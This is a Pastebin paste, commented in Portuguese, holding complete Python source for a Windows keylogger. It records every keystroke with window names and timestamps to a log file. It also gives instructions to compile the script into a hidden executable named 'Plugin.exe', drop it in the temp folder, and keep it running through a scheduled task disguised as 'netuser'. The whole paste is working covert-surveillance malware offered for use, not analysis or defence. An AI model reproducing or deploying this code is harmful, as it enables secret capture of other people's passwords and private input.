Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '''
- Python: 3
- Programa: Keylogger para windows
- Biblioteca:
- 1) Site: https://www.lfd.uci.edu/~gohlke/pythonlibs/#pywinhook
- 2) pyHook‑1.5.1‑cp37‑cp37m‑win32.whl
- 3) pip install pyHook‑1.5.1‑cp37‑cp37m‑win32.whl
- Compilador:
- 1) Download: pip install pyinstaller
- 2) Compilar: pyinstaller --clean -w -F Plugin.py -i install.ico
- Estrategia:
- 1) Coloque o keylogger e o bacth na pasta temporaria cd/%temp% do windows
- Arquivo em Batch (abaixo):
- ----------------------------------------------------------------------------
- (
- %temp%\Plugin.exe"
- ) >> %temp%\netuser.bat
- schtasks /create /sc minute /mo 1440 /tn "netuser" /tr "%temp%\netuser.bat"
- ----------------------------------------------------------------------------
- '''
- # Bibliotecas
- import pyHook
- import pythoncom
- from datetime import datetime
- # Janela de controle
- janela_anterior = None
- # Metodos
- def OnKeyboardEvent(event):
- global janela_anterior
- # Abertura de arquivo
- file = open("log.txt", "a")
- # Janela atual
- janela_atual = ("WindowName: " + str(event.WindowName))
- # Estrutura de decisao
- if janela_atual != janela_anterior:
- # Data e hora
- data_e_hora_atuais = datetime.now()
- data_e_hora_em_texto = data_e_hora_atuais.strftime("%d/%m/%Y %H:%M")
- # Janela anterior recebe a atual
- janela_anterior = janela_atual
- # Escrita no arquivo
- file.write("\n\n" + str(janela_atual) + "\n" + str(data_e_hora_em_texto) + "\n\n")
- file.write("[" + str(event.Key).lower() + "]")
- else:
- file.write("[" + str(event.Key).lower() + "]")
- return True
- # create a hook manager
- hm = pyHook.HookManager()
- # watch for all mouse events
- hm.KeyDown = OnKeyboardEvent
- # set the hook
- hm.HookKeyboard()
- # wait forever
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement